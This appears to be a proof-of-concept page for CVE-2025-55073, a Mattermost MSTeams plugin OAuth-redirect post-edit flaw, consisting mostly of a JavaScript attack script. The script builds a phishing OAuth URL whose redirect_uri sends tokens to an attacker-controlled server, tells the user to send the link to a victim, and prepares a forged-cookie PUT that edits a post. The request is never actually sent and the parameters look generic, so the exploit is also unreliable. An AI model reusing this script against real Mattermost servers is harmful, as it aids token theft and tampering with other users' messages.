CVE-2025-55073: Mattermost MSTeams插件OAuth重定向导致任意帖子编辑漏洞

// CVE-2025-55073 PoC - Mattermost MSTeams Plugin OAuth Redirect Post Edit // This PoC demonstrates the OAuth redirect vulnerability for arbitrary post editing const https = require('https'); // Configuration const TARGET_HOST = 'mattermost.example.com'; const ATTACKER_SERVER = 'attacker-controlled-server.com'; const TARGET_POST_ID = 'target-post-id-to-edit'; const TARGET_CHANNEL_ID = 'target-channel-id'; // Malicious OAuth redirect URL construction function constructMaliciousRedirectUrl() { const baseUrl = `https://${TARGET_HOST}/plugins/com.mattermost.msteams-webhook/oauth/callback`; const params = new URLSearchParams({ // OAuth state parameter (could be stolen or manipulated) state: 'malicious_state_token', // Target post information embedded in redirect post_id: TARGET_POST_ID, channel_id: TARGET_CHANNEL_ID, // Malicious callback to exfiltrate data redirect_uri: `https://${ATTACKER_SERVER}/steal-token`, // Message content to inject message: 'Malicious content injected via OAuth redirect' }); return `${baseUrl}?${params.toString()}`; } // Trigger the attack by sending the malicious URL to victim async function sendMaliciousLink(victimEmail) { const maliciousUrl = constructMaliciousRedirectUrl(); // In real attack, this would be sent via email, message, etc. console.log('[+] Malicious OAuth URL generated:'); console.log(maliciousUrl); console.log('[+] Send this link to victim with edit permissions'); // Simulate the attack request const options = { hostname: TARGET_HOST, path: `/api/v4/posts/${TARGET_POST_ID}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Cookie': 'MMAUTHTOKEN=exploited_session_token' } }; const postData = JSON.stringify({ id: TARGET_POST_ID, message: 'COMPROMISED: Arbitrary post edited via OAuth redirect' }); console.log('[+] Sending malicious post edit request...'); return maliciousUrl; } // Execute PoC sendMaliciousLink('[email protected]'); // Mitigation: Validate OAuth state and enforce post ownership checks // Recommended fix: Implement CSRF tokens and validate post ownership in OAuth callbacks